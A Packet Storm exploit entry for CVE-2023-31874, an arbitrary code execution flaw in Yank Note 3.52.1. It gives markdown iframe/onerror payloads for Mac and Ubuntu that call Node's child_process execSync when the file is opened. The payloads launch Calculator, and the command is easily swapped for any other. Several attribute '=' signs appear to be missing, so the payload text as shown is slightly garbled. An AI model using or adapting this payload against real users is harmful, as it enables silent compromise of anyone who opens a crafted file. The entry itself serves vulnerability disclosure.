Lucene search

K
packetstorm8bitsecPACKETSTORM:172535
HistoryMay 24, 2023 - 12:00 a.m.

Yank Note 3.52.1 Arbitrary Code Execution

2023-05-2400:00:00
8bitsec
packetstormsecurity.com
189
electron
exploit
cve-2023-31874
markdown
editor
vulnerability
arbitrary code execution
yank note
version control
ai completion
encryption
code snippet
integrated terminal
chart embedding
html applets
reveal.js
plugin
macro replacement

EPSS

0.003

Percentile

70.5%

`# Exploit Title: Yank Note v3.52.1 (Electron) - Arbitrary Code Execution  
# Date: 2023-04-27  
# Exploit Author: 8bitsec  
# CVE: CVE-2023-31874  
# Vendor Homepage: yank-note.com  
# Software Link: https://github.com/purocean/yn  
# Version: 3.52.1  
# Tested on: [Ubuntu 22.04 | Mac OS 13]  
  
Release Date: 2023-04-27  
  
Product & Service Introduction: A Hackable Markdown Editor for Programmers. Version control, AI completion, mind map, documents encryption, code snippet running, integrated terminal, chart embedding, HTML applets, Reveal.js, plug-in, and macro replacement  
  
Technical Details & Description:  
  
A vulnerability was discovered on Yank Note v3.52.1 allowing a user to execute arbitrary code by opening a specially crafted file.  
  
Proof of Concept (PoC):  
Arbitrary code execution:  
  
Create a markdown file (.md) in any text editor and write the following payload.  
Mac:  
<iframe srcdoc"<img srcx onerroralert(parent.parent.nodeRequire('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());>')>">  
  
Ubuntu:  
<iframe srcdoc"<img srcx onerroralert(parent.parent.nodeRequire('child_process').execSync('gnome-calculator').toString());>')>">  
  
Opening the file in Yank Note will auto execute the Calculator application.  
  
  
`

EPSS

0.003

Percentile

70.5%

Related for PACKETSTORM:172535